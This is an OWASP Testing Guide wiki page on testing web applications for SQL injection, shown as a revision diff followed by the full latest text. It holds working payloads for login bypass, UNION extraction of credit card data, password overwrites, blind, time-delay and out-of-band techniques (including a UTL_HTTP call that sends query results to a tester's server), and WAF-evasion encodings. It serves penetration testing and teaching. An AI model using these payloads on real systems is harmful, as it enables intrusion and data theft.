true, then we have completed inference and, therefore, we know the value of the
+
The query returns either true or false. If we obtain true, then we have completed the inference and, therefore, we know the value of the parameter. If we obtain false, this means that the null character is present in the value of the parameter, and we must continue to analyze the next parameter until we find another null value.
parameter. If we obtain false, this means that the null character is present in
 
the value of the parameter, and we must continue to analyze the next parameter
 
until we find another null value.
 
  
 
   
 
   
The blind SQL injection attack needs a high volume of
+
The blind SQL injection attack needs a high volume of queries. The tester may need an automatic tool to exploit the vulnerability.
queries. The tester may need an automatic tool to exploit the vulnerability.
 
  
 
   
 
   
=== Error based Exploitation technique ===
+
==== Error based Exploitation technique ====
 
    
 
    
The Error based
+
An Error based exploitation technique is useful when the tester for some reason can’t exploit the SQL injection vulnerability using other technique such as UNION. The Error based technique consists in forcing the database to perform some operation in which the result will be an error. The point here is to try to extract some data from the database and show it in the error message. This exploitation technique can be different from DBMS to DBMS (check DBMS specific section).
exploitation technique is useful when the tester for some reason can’t exploit
 
the SQL injection vulnerability using other technique such as UNION. The Error
 
based technique consists in forcing the database to perform some operation in
 
which the result will be an error. The point here is to try to extract some
 
data from the database and show it in the error message. This exploitation
 
technique can be different from DBMS to DBMS (check DBMS specific session).
 
  
 
   
 
   
Line 559: Line 387:
  
 
   
 
   
Consider also the request to a script who executes the
+
Consider also the request to a script who executes the query above:
query above:
 
  
 
   
 
   
Line 572: Line 399:
  
 
   
 
   
In this
+
In this example, the tester is concatenating the value 10 with the result of the function UTL_INADDR.GET_HOST_NAME. This Oracle function will try to return the host name of the parameter passed to it, which is other query, the name of the user. When the database looks for a host name with the user database name, it will fail and return an error message like:
example, the tester is concatenating the value 10 with the result of the
 
function UTL_INADDR.GET_HOST_NAME. This Oracle function will try to return the
 
hostname of the parameter passed to it, which is other query, the name of the
 
user. When the database looks for a hostname with the user database name, it
 
will fail and return an error message like:
 
  
 
   
 
   
Line 583: Line 405:
  
 
   
 
   
Then the tester
+
Then the tester can manipulate the parameter passed to GET_HOST_NAME() function and the result will be shown in the error message.
can manipulate the parameter passed to GET_HOST_NAME()
 
function and the result will be shown in the error message.
 
  
 
   
 
   
=== Out of band Exploitation technique ===
+
==== Out of band Exploitation technique ====
 
    
 
    
This technique
+
This technique is very useful when the tester find a [[Blind SQL Injection]] situation, in which nothing is known on the outcome of an operation. The technique consists of the use of DBMS functions to perform an out of band connection and deliver the results of the injected query as part of the request to the tester’s server. Like the error based techniques, each DBMS has its own functions. Check for specific DBMS section.
is very useful when the tester find a [[Blind SQL Injection]] situation, in
 
which nothing is known on the outcome of an operation. The technique consists in
 
the use of DBMS functions to perform an out of band connection and deliver the
 
results of the injected query as part of the request to the tester’s server.
 
 
 
 
Like the error
 
based techniques, each DBMS has its own functions. Check for specific DBMS
 
section.
 
  
 
   
 
   
Line 608: Line 419:
  
 
   
 
   
Consider also the request to a script who executes the
+
Consider also the request to a script who executes the query above:
query above:
 
  
 
   
 
   
Line 618: Line 428:
  
 
   
 
   
<pre>http://www.example.com/product.php?id=10||UTL_HTTP.request(‘testerserver.com:80’||(SELET user FROM DUAL)--</pre>
+
<pre>http://www.example.com/product.php?id=10||UTL_HTTP.request(‘testerserver.com:80’||(SELECT user FROM DUAL)--</pre>
  
 
   
 
   
In this
+
In this example, the tester is concatenating the value 10 with the result of the function UTL_HTTP.request. This Oracle function will try to connect to ‘testerserver’ and make a HTTP GET request containing the return from the query “SELECT user FROM DUAL”.  The tester can set up a webserver (e.g. Apache) or use the Netcat tool:
example, the tester is concatenating the value 10 with the result of the
 
function UTL_HTTP.request. This Oracle function will
 
try to connect to ‘testerserver’ and make a HTTP GET
 
request containing the return from the query “SELECT user FROM DUAL”.  The tester can set up a webserver
 
(e.g. Apache) or use the Netcat tool:
 
  
 
   
 
   
/home/tester/nc –nLp 80
+
<pre>/home/tester/nc –nLp 80
 
   
 
   
 
GET /SCOTT HTTP/1.1
 
GET /SCOTT HTTP/1.1
 
Host: testerserver.com
 
Host: testerserver.com
Connection: close
+
Connection: close</pre>
  
 +
==== Time delay Exploitation technique ====
 
    
 
    
=== Time delay Exploitation technique ===
+
The time delay exploitation technique is very useful when the tester find a [[Blind SQL Injection]] situation, in which nothing is known on the outcome of an operation. This technique consists in sending an injected query and in case the conditional is true, the tester can monitor the time taken to for the server to respond. If there is a delay, the tester can assume the result of the conditional query is true. This exploitation technique can be different from DBMS to DBMS (check DBMS specific section).
 
+
 
The Boolean
 
exploitation technique is very useful when the tester find a [[Blind SQL Injection]] situation, in
 
which nothing is known on the outcome of an operation. This technique consists
 
in sending an injected query and in case the conditional is true, the tester
 
can monitor the time taken to for the server to respond. If there is a delay,
 
the tester can assume the result of the conditional query is true. This
 
exploitation technique can be different from DBMS to DBMS (check DBMS specific
 
session)
 
  
 
 
Consider the following SQL query:
 
Consider the following SQL query:
  
Line 654: Line 451:
  
 
   
 
   
Consider also the request to a script who executes the
+
Consider also the request to a script who executes the query above:
query above:
 
  
 
   
 
   
Line 667: Line 463:
  
 
   
 
   
In this example
+
In this example the tester is checking whether the MySql version is 5.x or not, making the server to delay the answer by 10 seconds. The tester can increase the delay time and monitor the responses. The tester also doesn’t need to wait for the response. Sometimes he can set a very high value (e.g. 100) and cancel the request after some seconds.
the tester if checking whether the MySql version is
 
5.x or not, making the server to delay the answer in 5 seconds. The tester can
 
increase the delay’s time and monitor the responses. The tester also doesn’t
 
need to wait for the response. Sometimes he can set a very high value (e.g.
 
100) and cancel the request after some seconds.
 
  
 +
==== Stored Procedure Injection ====
 
    
 
    
=== Stored Procedure Injection ===
+
When using dynamic SQL within a stored procedure, the application must properly sanitize the user input to eliminate the risk of code injection. If not sanitized, the user could enter malicious SQL that will be executed within the stored procedure.
 
 
When using dynamic SQL within a stored procedure, the application must
 
properly sanitize the user input to eliminate the risk of code injection. If
 
not sanitized, the user could enter malicious SQL that will be executed within
 
the stored procedure.
 
  
 
   
 
   
 
Consider the following '''SQL Server Stored Procedure:'''
 
Consider the following '''SQL Server Stored Procedure:'''
  
+
<pre>
Create
+
Create procedure user_login @username varchar(20), @passwd varchar(20)  
procedure user_login @username varchar(20), @passwd varchar(20) As
+
As
 
 
 
 
Declare @sqlstring varchar(250)
 
Declare @sqlstring varchar(250)
 
 
 
Set @sqlstring  = ‘
 
Set @sqlstring  = ‘
 
+
Select 1 from users
+
Where username = ‘ + @username + ‘ and passwd = ‘ + @passwd
Select 1
 
from users
 
 
 
 
Where
 
username = ‘ + @username + ‘ and passwd
 
= ‘ + @passwd
 
 
 
 
 
exec(@sqlstring)
 
exec(@sqlstring)
 
Go
 
Go
 +
</pre>
 +
 
User input:
 
User input:
 +
<pre>
 
anyusername or 1=1'
 
anyusername or 1=1'
 
anypassword
 
anypassword
 +
</pre>
 +
 +
This procedure does not sanitize the input, therefore allowing the return value to show an existing record with these parameters.<br> <br>
 +
 +
NOTE: This example may seem unlikely due to the use of dynamic SQL to log in a user, but consider a dynamic reporting query where the user selects the columns to view. The user could insert malicious code into this scenario and compromise the data. <br>
  
 
This procedure does not sanitize the input, therefore allowing the
 
return value to show an existing record with these
 
parameters.<br> <br>
 
NOTE: This example may seem unlikely due to the use of dynamic SQL to log in a
 
user, but consider a dynamic reporting query where the user selects the columns
 
to view. The user could insert malicious code into this scenario and compromise
 
the data. <br>
 
 
Consider the following '''SQL Server Stored Procedure:'''
 
Consider the following '''SQL Server Stored Procedure:'''
  
+
<pre>
 
Create
 
Create
 
procedure get_report @columnamelist varchar(7900)
 
procedure get_report @columnamelist varchar(7900)
Line 730: Line 504:
 
exec(@sqlstring)
 
exec(@sqlstring)
 
Go
 
Go
 +
</pre>
 
   
 
   
 
User input:
 
User input:
 
+
<pre>
 +
1 from users; update users set password = 'password'; select *
 +
</pre>
 
   
 
   
1 from
+
This will result in the report running and all users’ passwords being updated.
users; update users set password = 'password'; select *
 
  
 
This will result in the report running and all users’ passwords being
 
updated.
 
  
+
==== Automated Exploitation ====
=== Automated Exploitation ===
 
 
   
 
   
 
Most of the situation and techniques presented here can be performed in a automated way using some tools. In this article the tester can find information how to perform an automated auditing using SQLMap:
 
Most of the situation and techniques presented here can be performed in a automated way using some tools. In this article the tester can find information how to perform an automated auditing using SQLMap:
Line 748: Line 520:
 
https://www.owasp.org/index.php/Automated_Audit_using_SQLMap
 
https://www.owasp.org/index.php/Automated_Audit_using_SQLMap
  
   
 
== Related Articles ==
 
  
* [[Top 10 2010-Injection Flaws]]
+
 
 +
=== SQL Injection signature Evasion Techniques ===
 +
The techniques are used to bypass defenses such as Web application firewalls (WAFs) or intrusion prevention systems (IPSs).
 +
Also refer to https://www.owasp.org/index.php/SQL_Injection_Bypassing_WAF
 +
 
 +
==== White Space ====
 +
Dropping space or adding spaces that won't affect the SQL statement. For example
 +
 
 +
<pre> or 'a'='a' </pre>
 +
<pre> or 'a'  =    'a' </pre>
 +
 
 +
Adding special character like new line or tab that won't change the SQL statement execution. For example,
 +
<pre>
 +
or
 +
'a'=
 +
      'a' </pre>
 +
 
 +
==== Null Bytes ====
 +
Use null byte (%00) prior to any characters that the filter is blocking.
 +
 
 +
For example, if the attacker may inject the following SQL
 +
<pre>
 +
' UNION SELECT password FROM Users WHERE username='admin'--
 +
</pre>
 +
 
 +
to add Null Bytes will be
 +
 
 +
<pre>
 +
%00' UNION SELECT password FROM Users WHERE username='admin'--
 +
</pre>
 +
 
 +
==== SQL Comments ====
 +
Adding SQL inline comments can also help the SQL statement to be valid and bypass the SQL injection filter.
 +
Take this SQL injection as example.
 +
 
 +
<pre>
 +
' UNION SELECT password FROM Users WHERE name='admin'--
 +
</pre>
 +
 
 +
Adding SQL inline comments will be.
 +
 
 +
<pre>
 +
'/**/UNION/**/SELECT/**/password/**/FROM/**/Users/**/WHERE/**/name/**/LIKE/**/'admin'--
 +
</pre>
 +
 
 +
<pre>
 +
'/**/UNI/**/ON/**/SE/**/LECT/**/password/**/FROM/**/Users/**/WHE/**/RE/**/name/**/LIKE/**/'admin'--
 +
</pre>
 +
 
 +
==== URL Encoding ====
 +
Use the online URL encoding to encode the SQL statement
 +
 
 +
http://meyerweb.com/eric/tools/dencoder/
 +
 
 +
<pre>
 +
' UNION SELECT password FROM Users WHERE name='admin'--
 +
</pre>
 +
 
 +
The URL encoding of the SQL injection statement will be
 +
<pre>
 +
%27%20UNION%20SELECT%20password%20FROM%20Users%20WHERE%20name%3D%27admin%27--
 +
</pre>
 +
 
 +
==== Character Encoding ====
 +
Char() function can be used to replace English char. For example, char(114,111,111,116) means root
 +
<pre>
 +
' UNION SELECT password FROM Users WHERE name='root'--
 +
</pre>
 +
 
 +
To apply the Char(), the SQL injeciton statement will be
 +
<pre>
 +
' UNION SELECT password FROM Users WHERE name=char(114,111,111,116)--
 +
</pre>
 +
 
 +
 
 +
==== String Concatenation ====
 +
Concatenation breaks up SQL keywords and evades filters.
 +
Concatenation syntax varies based on database engine.
 +
Take MS SQL engine as an example
 +
 
 +
<pre>
 +
  select 1
 +
</pre>
 +
 
 +
The simple SQL statement can be changed as below by using concatenation
 +
 
 +
<pre>
 +
  EXEC('SEL' + 'ECT 1')
 +
</pre>
 +
 
 +
 
 +
==== Hex Encoding ====
 +
Hex encoding technique uses Hexadecimal encoding to replace original SQL statement char.
 +
For example, 'root' can be represented as 726F6F74
 +
 
 +
<pre>
 +
      Select user from users where name = 'root'
 +
</pre>
 +
 
 +
The SQL statement by using HEX value will be:
 +
 
 +
<pre>
 +
      Select user from users where name = 726F6F74
 +
</pre>
 +
 
 +
or
 +
<pre>
 +
      Select user from users where name = unhex('726F6F74')
 +
</pre>
 +
 
 +
 
 +
 
 +
==== Declare variables ====
 +
Declare the SQL injection statement into variable and execute it.
 +
 
 +
For example, SQL injection statement below
 +
<pre>
 +
  Union Select password
 +
</pre>
 +
 
 +
Define the SQL statement into variable SQLivar
 +
 
 +
<pre>
 +
; declare @SQLivar nvarchar(80); set @myvar = N'UNI' + N'ON' + N' SELECT' + N'password');
 +
EXEC(@SQLivar)
 +
</pre>
 +
 
 +
==== Alternative Expression of 'or 1 = 1' ====
 +
 
 +
* OR 'SQLi' = 'SQL'+'i'
 +
* OR 'SQLi' > 'S'
 +
* or 20 > 1
 +
* OR 2 between 3 and 1 
 +
* OR 'SQLi' = N'SQLi'
 +
* 1 and 1 = 1
 +
* 1 || 1 = 1
 +
* 1 && 1 = 1
 +
 
 +
==Tools==
 +
* SQL Injection Fuzz Strings (from wfuzz tool) - https://wfuzz.googlecode.com/svn/trunk/wordlist/Injections/SQL.txt
 +
* [[:Category:OWASP SQLiX Project|OWASP SQLiX]]
 +
* Francois Larouche: Multiple DBMS SQL Injection tool - [http://www.sqlpowerinjector.com/index.htm SQL Power Injector]<br>
 +
* ilo--, Reversing.org - [http://packetstormsecurity.org/files/43795/sqlbftools-1.2.tar.gz.html sqlbftools]<br>
 +
* Bernardo Damele A. G.: sqlmap, automatic SQL injection tool - http://sqlmap.org/
 +
* icesurfer: SQL Server Takeover Tool - [http://sqlninja.sourceforge.net sqlninja]
 +
* Pangolin: Automated SQL Injection Tool - [http://www.nosec.org/en/productservice/pangolin/ Pangolin]
 +
* Muhaimin Dzulfakar: MySqloit, MySql Injection takeover tool - http://code.google.com/p/mysqloit/
 +
* Antonio Parata: Dump Files by SQL inference on Mysql - [http://sqldumper.ruizata.com/ SqlDumper]<br>
 +
* [https://code.google.com/p/bsqlbf-v2/ bsqlbf, a blind SQL injection tool] in Perl
 +
 
 +
== References ==
 +
 
 +
* [[Top 10 2013-A1-Injection]]
 
* [[SQL Injection]]
 
* [[SQL Injection]]
 
  
 
Technology specific Testing Guide pages have been created for the following DBMSs:
 
Technology specific Testing Guide pages have been created for the following DBMSs:
 
 
* [[Testing for Oracle| Oracle]]
 
* [[Testing for Oracle| Oracle]]
 
* [[Testing for MySQL| MySQL]]
 
* [[Testing for MySQL| MySQL]]
 
* [[Testing for SQL Server  | SQL Server]]
 
* [[Testing for SQL Server  | SQL Server]]
 
== References ==
 
  
 
'''Whitepapers'''<br>
 
'''Whitepapers'''<br>
  
 
* Victor Chapela: "Advanced SQL Injection" - http://www.owasp.org/images/7/74/Advanced_SQL_Injection.ppt
 
* Victor Chapela: "Advanced SQL Injection" - http://www.owasp.org/images/7/74/Advanced_SQL_Injection.ppt
* Chris Anley: "Advanced SQL Injection In SQL Server Applications" - http://www.thomascookegypt.com/holidays/pdfpkgs/931.pdf
+
* Chris Anley: "Advanced SQL Injection In SQL Server Applications" - https://sparrow.ece.cmu.edu/group/731-s11/readings/anley-sql-inj.pdf
 
* Chris Anley: "More Advanced SQL Injection" - http://www.encription.co.uk/downloads/more_advanced_sql_injection.pdf
 
* Chris Anley: "More Advanced SQL Injection" - http://www.encription.co.uk/downloads/more_advanced_sql_injection.pdf
 
* David Litchfield: "Data-mining with SQL Injection and Inference" - http://www.databasesecurity.com/webapps/sqlinference.pdf
 
* David Litchfield: "Data-mining with SQL Injection and Inference" - http://www.databasesecurity.com/webapps/sqlinference.pdf
 
* Imperva: "Blinded SQL Injection" - https://www.imperva.com/lg/lgw.asp?pid=369
 
* Imperva: "Blinded SQL Injection" - https://www.imperva.com/lg/lgw.asp?pid=369
 
* Ferruh Mavituna: "SQL Injection Cheat Sheet" - http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/
 
* Ferruh Mavituna: "SQL Injection Cheat Sheet" - http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/
* Kevin Spett from SPI Dynamics: "SQL Injection" - http://packetstorm.codar.com.br/papers/general/SQLInjectionWhitePaper.pdf
+
* Kevin Spett from SPI Dynamics: "SQL Injection" - https://docs.google.com/file/d/0B5CQOTY4YRQCSWRHNkNaaFMyQTA/edit
 
* Kevin Spett from SPI Dynamics: "Blind SQL Injection" - http://www.net-security.org/dl/articles/Blind_SQLInjection.pdf
 
* Kevin Spett from SPI Dynamics: "Blind SQL Injection" - http://www.net-security.org/dl/articles/Blind_SQLInjection.pdf
 +
* "ZeQ3uL" (Prathan Phongthiproek) and "Suphot Boonchamnan": "Beyond SQLi: Obfuscate and Bypass" - https://www.exploit-db.com/papers/17934/
 +
*  Adi Kaploun and Eliran Goshen, Check Point Threat Intelligence & Research Team: "The Latest SQL Injection Trends" - http://blog.checkpoint.com/2015/05/07/latest-sql-injection-trends/
 +
'''Documentation on SQL injection vulnerabilities in products'''
  
'''Tools'''<br>
+
* [https://www.vanstechelman.eu/content/anatomy-of-the-sql-injection-in-drupals-database-comment-filtering-system-sa-core-2015-003 Anatomy of the SQL injection in Drupal's database comment filtering system SA-CORE-2015-003]
* SQL Injection Fuzz Strings (from wfuzz tool) - http://yehg.net/lab/pr0js/pentest/wordlists/injections/SQL.txt
 
* [[:Category:OWASP SQLiX Project|OWASP SQLiX]]
 
* Francois Larouche: Multiple DBMS SQL Injection tool - [http://www.sqlpowerinjector.com/index.htm SQL Power Injector]<br>
 
* ilo--, Reversing.org - [http://packetstormsecurity.org/files/43795/sqlbftools-1.2.tar.gz.html sqlbftools]<br>
 
* Bernardo Damele A. G.: sqlmap, automatic SQL injection tool - http://sqlmap.org/
 
* icesurfer: SQL Server Takeover Tool - [http://sqlninja.sourceforge.net sqlninja]
 
* Pangolin: Automated SQL Injection Tool - [http://www.nosec.org/en/pangolin.html Pangolin]
 
* Muhaimin Dzulfakar: MySqloit, MySql Injection takeover tool - http://code.google.com/p/mysqloit/
 
* Antonio Parata: Dump Files by SQL inference on Mysql - [http://sqldumper.ruizata.com/ SqlDumper]<br>
 
* http://sqlsus.sourceforge.net
 
* [https://code.google.com/p/bsqlbf-v2/ bsqlbf, a blind SQL injection tool] in Perl
 

Latest revision as of 09:29, 26 April 2016

This article is part of the new OWASP Testing Guide v4.
Back to the OWASP Testing Guide v4 ToC: https://www.owasp.org/index.php/OWASP_Testing_Guide_v4_Table_of_Contents Back to the OWASP Testing Guide Project: https://www.owasp.org/index.php/OWASP_Testing_Project


Summary

An SQL injection attack consists of insertion or "injection" of either a partial or complete SQL query via the data input or transmitted from the client (browser) to the web application. A successful SQL injection attack can read sensitive data from the database, modify database data (insert/update/delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file existing on the DBMS file system or write files into the file system, and, in some cases, issue commands to the operating system. SQL injection attacks are a type of injection attack, in which SQL commands are injected into data-plane input in order to affect the execution of predefined SQL commands.


In general the way web applications construct SQL statements involving SQL syntax written by the programmers is mixed with user-supplied data. Example:

select title, text from news where id=$id


In the example above the variable $id contains user-supplied data, while the remainder is the SQL static part supplied by the programmer; making the SQL statement dynamic.


Because the way it was constructed, the user can supply crafted input trying to make the original SQL statement execute further actions of the user's choice. The example below illustrates the user-supplied data “10 or 1=1”, changing the logic of the SQL statement, modifying the WHERE clause adding a condition “or 1=1”.


select title, text from news where id=10 or 1=1


SQL Injection attacks can be divided into the following three classes:

  • Inband: data is extracted using the same channel that is used to inject the SQL code. This is the most straightforward kind of attack, in which the retrieved data is presented directly in the application web page.
  • Out-of-band: data is retrieved using a different channel (e.g., an email with the results of the query is generated and sent to the tester).
  • Inferential or Blind: there is no actual transfer of data, but the tester is able to reconstruct the information by sending particular requests and observing the resulting behavior of the DB Server.


A successful SQL Injection attack requires the attacker to craft a syntactically correct SQL Query. If the application returns an error message generated by an incorrect query, then it may be easier for an attacker to reconstruct the logic of the original query and, therefore, understand how to perform the injection correctly. However, if the application hides the error details, then the tester must be able to reverse engineer the logic of the original query.


About the techniques to exploit SQL injection flaws there are five commons techniques. Also those techniques sometimes can be used in a combined way (e.g. union operator and out-of-band):

  • Union Operator: can be used when the SQL injection flaw happens in a SELECT statement, making it possible to combine two queries into a single result or result set.
  • Boolean: use Boolean condition(s) to verify whether certain conditions are true or false.
  • Error based: this technique forces the database to generate an error, giving the attacker or tester information upon which to refine their injection.
  • Out-of-band: technique used to retrieve data using a different channel (e.g., make a HTTP connection to send the results to a web server).
  • Time delay: use database commands (e.g. sleep) to delay answers in conditional queries. It is useful when attacker doesn’t have some kind of answer (result, output, or error) from the application.

How to Test

Detection Techniques

The first step in this test is to understand when the application interacts with a DB Server in order to access some data. Typical examples of cases when an application needs to talk to a DB include:

  • Authentication forms: when authentication is performed using a web form, chances are that the user credentials are checked against a database that contains all usernames and passwords (or, better, password hashes).
  • Search engines: the string submitted by the user could be used in a SQL query that extracts all relevant records from a database.
  • E-Commerce sites: the products and their characteristics (price, description, availability, etc) are very likely to be stored in a database.


The tester has to make a list of all input fields whose values could be used in crafting a SQL query, including the hidden fields of POST requests and then test them separately, trying to interfere with the query and to generate an error. Consider also HTTP headers and Cookies.


The very first test usually consists of adding a single quote (') or a semicolon (;) to the field or parameter under test. The first is used in SQL as a string terminator and, if not filtered by the application, would lead to an incorrect query. The second is used to end a SQL statement and, if it is not filtered, it is also likely to generate an error. The output of a vulnerable field might resemble the following (on a Microsoft SQL Server, in this case):

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the 
character string ''.
/target/target.asp, line 113


Also comment delimiters (-- or /* */, etc) and other SQL keywords like 'AND' and 'OR' can be used to try to modify the query. A very simple but sometimes still effective technique is simply to insert a string where a number is expected, as an error like the following might be generated:

 Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the
varchar value 'test' to a column of data type int.
/target/target.asp, line 113


Monitor all the responses from the web server and have a look at the HTML/javascript source code. Sometimes the error is present inside them but for some reason (e.g. javascript error, HTML comments, etc) is not presented to the user. A full error message, like those in the examples, provides a wealth of information to the tester in order to mount a successful injection attack. However, applications often do not provide so much detail: a simple '500 Server Error' or a custom error page might be issued, meaning that we need to use blind injection techniques. In any case, it is very important to test each field separately: only one variable must vary while all the other remain constant, in order to precisely understand which parameters are vulnerable and which are not.


Standard SQL Injection Testing

Example 1 (classical SQL Injection):

Consider the following SQL query:

SELECT * FROM Users WHERE Username='$username' AND Password='$password'


A similar query is generally used from the web application in order to authenticate a user. If the query returns a value it means that inside the database a user with that set of credentials exists, then the user is allowed to login to the system, otherwise access is denied. The values of the input fields are generally obtained from the user through a web form. Suppose we insert the following Username and Password values:

$username = 1' or '1' = '1
$password = 1' or '1' = '1


The query will be:

SELECT * FROM Users WHERE Username='1' OR '1' = '1' AND Password='1' OR '1' = '1' 


If we suppose that the values of the parameters are sent to the server through the GET method, and if the domain of the vulnerable web site is www.example.com, the request that we'll carry out will be:

http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1&password=1'%20or%20'1'%20=%20'1 


After a short analysis we notice that the query returns a value (or a set of values) because the condition is always true (OR 1=1). In this way the system has authenticated the user without knowing the username and password.
In some systems the first row of a user table would be an administrator user. This may be the profile returned in some cases. Another example of query is the following:

SELECT * FROM Users WHERE ((Username='$username') AND (Password=MD5('$password'))) 


In this case, there are two problems, one due to the use of the parentheses and one due to the use of MD5 hash function. First of all, we resolve the problem of the parentheses. That simply consists of adding a number of closing parentheses until we obtain a corrected query. To resolve the second problem, we try to evade the second condition. We add to our query a final symbol that means that a comment is beginning. In this way, everything that follows such symbol is considered a comment. Every DBMS has its own syntax for comments, however, a common symbol to the greater majority of the databases is /*. In Oracle the symbol is "--". This said, the values that we'll use as Username and Password are:

$username = 1' or '1' = '1'))/*
$password = foo


In this way, we'll get the following query:

SELECT * FROM Users WHERE ((Username='1' or '1' = '1'))/*') AND (Password=MD5('$password'))) 

(Due to the inclusion of a comment delimiter in the $username value the password portion of the query will be ignored.)


The URL request will be:

http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))/*&password=foo 


This may return a number of values. Sometimes, the authentication code verifies that the number of returned records/results is exactly equal to 1. In the previous examples, this situation would be difficult (in the database there is only one value per user). In order to go around this problem, it is enough to insert a SQL command that imposes a condition that the number of the returned results must be one. (One record returned) In order to reach this goal, we use the operator "LIMIT <num>", where <num> is the number of the results/records that we want to be returned. With respect to the previous example, the value of the fields Username and Password will be modified as follows:

$username = 1' or '1' = '1')) LIMIT 1/* 
$password = foo 


In this way, we create a request like the follow:

http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))%20LIMIT%201/*&password=foo 


Example 2 (simple SELECT statement):

Consider the following SQL query:

SELECT * FROM products WHERE id_product=$id_product


Consider also the request to a script who executes the query above:

http://www.example.com/product.php?id=10


When the tester tries a valid value (e.g. 10 in this case), the application will return the description of a product. A good way to test if the application is vulnerable in this scenario is play with logic, using the operators AND and OR.


Consider the request:

http://www.example.com/product.php?id=10 AND 1=2


SELECT * FROM products WHERE id_product=10 AND 1=2


In this case, probably the application would return some message telling us there is no content available or a blank page. Then the tester can send a true statement and check if there is a valid result:

http://www.example.com/product.php?id=10 AND 1=1


Example 3 (Stacked queries):

Depending on the API which the web application is using and the DBMS (e.g. PHP + PostgreSQL, ASP+SQL SERVER) it may be possible to execute multiple queries in one call.


Consider the following SQL query:

SELECT * FROM products WHERE id_product=$id_product


A way to exploit the above scenario would be:

http://www.example.com/product.php?id=10; INSERT INTO users (…)


This way is possible to execute many queries in a row and independent of the first query.


Fingerprinting the Database

Even though the SQL language is a standard, every DBMS has its peculiarity and differs from each other in many aspects like special commands, functions to retrieve data such as users names and databases, features, comments line etc.


When the testers move to a more advanced SQL injection exploitation they need to know what the back end database is.

1) The first way to find out what back end database is used is by observing the error returned by the application. The following are some examples of error messages:


MySql:

You have an error in your SQL syntax; check the manual
that corresponds to your MySQL server version for the
right syntax to use near '\'' at line 1

One complete UNION SELECT with version() can also help to know the back end database.

 SELECT id, name FROM users WHERE id=1 UNION SELECT 1, version() limit 1,1


Oracle:

ORA-00933: SQL command not properly ended


MS SQL Server:

Microsoft SQL Native Client error ‘80040e14’
Unclosed quotation mark after the character string
 SELECT id, name FROM users WHERE id=1 UNION SELECT 1, @@version limit 1, 1


PostgreSQL:

Query failed: ERROR: syntax error at or near
"’" at character 56 in /www/site/test.php on line 121.


2) If there is no error message or a custom error message, the tester can try to inject into string fields using varying concatenation techniques:


MySql: ‘test’ + ‘ing’

SQL Server: ‘test’ ‘ing’

Oracle: ‘test’||’ing’

PostgreSQL: ‘test’||’ing’

Exploitation Techniques

Union Exploitation Technique

The UNION operator is used in SQL injections to join a query, purposely forged by the tester, to the original query. The result of the forged query will be joined to the result of the original query, allowing the tester to obtain the values of columns of other tables. Suppose for our examples that the query executed from the server is the following:


SELECT Name, Phone, Address FROM Users WHERE Id=$id


We will set the following $id value:


$id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable


We will have the following query:


SELECT Name, Phone, Address FROM Users WHERE Id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable


Which will join the result of the original query with all the credit card numbers in the CreditCardTable table. The keyword ALL is necessary to get around queries that use the keyword DISTINCT. Moreover, we notice that beyond the credit card numbers, we have selected two other values. These two values are necessary because the two queries must have an equal number of parameters/columns in order to avoid a syntax error.


The first detail a tester needs to exploit the SQL injection vulnerability using such technique is to find the right numbers of columns in the SELECT statement.


In order to achieve this the tester can use ORDER BY clause followed by a number indicating the numeration of database’s column selected:


http://www.example.com/product.php?id=10 ORDER BY 10--


If the query executes with success the tester can assume, in this example, there are 10 or more columns in the SELECT statement. If the query fails then there must be fewer than 10 columns returned by the query. If there is an error message available, it would probably be:


Unknown column '10' in 'order clause'


After the tester finds out the numbers of columns, the next step is to find out the type of columns. Assuming there were 3 columns in the example above, the tester could try each column type, using the NULL value to help them:


http://www.example.com/product.php?id=10 UNION SELECT 1,null,null--


If the query fails, the tester will probably see a message like:

All cells in a column must have the same datatype

If the query executes with success, the first column can be an integer. Then the tester can move further and so on:

http://www.example.com/product.php?id=10 UNION SELECT 1,1,null--


After the successful information gathering, depending on the application, it may only show the tester the first result, because the application treats only the first line of the result set. In this case, it is possible to use a LIMIT clause or the tester can set an invalid value, making only the second query valid (supposing there is no entry in the database which ID is 99999):


http://www.example.com/product.php?id=99999 UNION SELECT 1,1,null--

Boolean Exploitation Technique

The Boolean exploitation technique is very useful when the tester finds a Blind SQL Injection situation, in which nothing is known on the outcome of an operation. For example, this behavior happens in cases where the programmer has created a custom error page that does not reveal anything on the structure of the query or on the database. (The page does not return a SQL error, it may just return a HTTP 500, 404, or redirect).


By using inference methods, it is possible to avoid this obstacle and thus to succeed in recovering the values of some desired fields. This method consists of carrying out a series of boolean queries against the server, observing the answers and finally deducing the meaning of such answers. We consider, as always, the www.example.com domain and we suppose that it contains a parameter named id vulnerable to SQL injection. This means that carrying out the following request:


http://www.example.com/index.php?id=1'


We will get one page with a custom message error which is due to a syntactic error in the query. We suppose that the query executed on the server is:


SELECT field1, field2, field3 FROM Users WHERE Id='$Id' 


Which is exploitable through the methods seen previously. What we want to obtain is the values of the username field. The tests that we will execute will allow us to obtain the value of the username field, extracting such value character by character. This is possible through the use of some standard functions, present in practically every database. For our examples, we will use the following pseudo-functions:


SUBSTRING (text, start, length): returns a substring starting from the position "start" of text and of length "length". If "start" is greater than the length of text, the function returns a null value.


ASCII (char): it gives back ASCII value of the input character. A null value is returned if char is 0.


LENGTH (text): it gives back the number of characters in the input text.


Through such functions, we will execute our tests on the first character and, when we have discovered the value, we will pass to the second and so on, until we will have discovered the entire value. The tests will take advantage of the function SUBSTRING, in order to select only one character at a time (selecting a single character means to impose the length parameter to 1), and the function ASCII, in order to obtain the ASCII value, so that we can do numerical comparison. The results of the comparison will be done with all the values of the ASCII table, until the right value is found. As an example, we will use the following value for Id:


$Id=1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1 


That creates the following query (from now on, we will call it "inferential query"):


SELECT field1, field2, field3 FROM Users WHERE Id='1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1'


